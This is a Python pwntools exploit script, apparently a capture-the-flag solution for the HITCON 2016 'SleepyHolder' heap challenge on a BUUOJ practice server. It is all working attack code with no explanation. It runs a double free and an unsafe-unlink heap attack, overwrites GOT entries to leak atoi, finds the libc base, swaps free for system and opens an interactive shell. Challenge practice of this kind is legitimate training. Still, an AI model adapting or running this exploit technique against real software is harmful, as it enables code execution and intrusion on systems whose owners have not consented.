1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| from pwn import * from LibcSearcher import *
sh = remote('node3.buuoj.cn',25929) elf = ELF('./sleepyHolder_hitcon_2016') free_got = elf.got['free'] puts_plt = elf.plt['puts'] atoi_got = elf.got['atoi'] small_buf_addr = 0x00000000006020D0
def add(type,content): sh.sendlineafter('3. Renew secret\n','1') sh.sendlineafter('What secret do you want to keep?',str(type)) sh.sendafter('Tell me your secret:',content)
def delete(type): sh.sendlineafter('3. Renew secret\n','2') sh.sendlineafter('Which Secret do you want to wipe?',str(type))
def edit(type,content): sh.sendlineafter('3. Renew secret\n','3') sh.sendlineafter('Which Secret do you want to renew?',str(type)) sh.sendafter('Tell me your secret:',content)
add(1,'a'*0x20) add(2,'b'*0x20)
delete(1)
add(3,'c'*0x20)
delete(1)
payload = p64(0) + p64(0x21)
payload += p64(small_buf_addr - 0x18) + p64(small_buf_addr - 0x10)
payload += p64(0x20) add(1,payload)
delete(2)
payload = '\x00'*0x8 + p64(free_got) + p64(0) + p64(small_buf_addr - 0x10) + p64(1) edit(1,payload)
edit(2,p64(puts_plt))
payload = p64(atoi_got) + p64(0) + p64(atoi_got) + p64(1) + p64(1) edit(1,payload)
delete(1) sh.recvuntil('2. Big secret\n') atoi_addr = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00')) libc = LibcSearcher('atoi',atoi_addr) libc_base = atoi_addr - libc.dump('atoi') system_addr = libc_base + libc.dump('system') print 'libc_base=',hex(libc_base) print 'system_addr=',hex(system_addr)
edit(2,p64(system_addr))
sh.sendlineafter('3. Renew secret\n','sh\x00')
sh.interactive()
|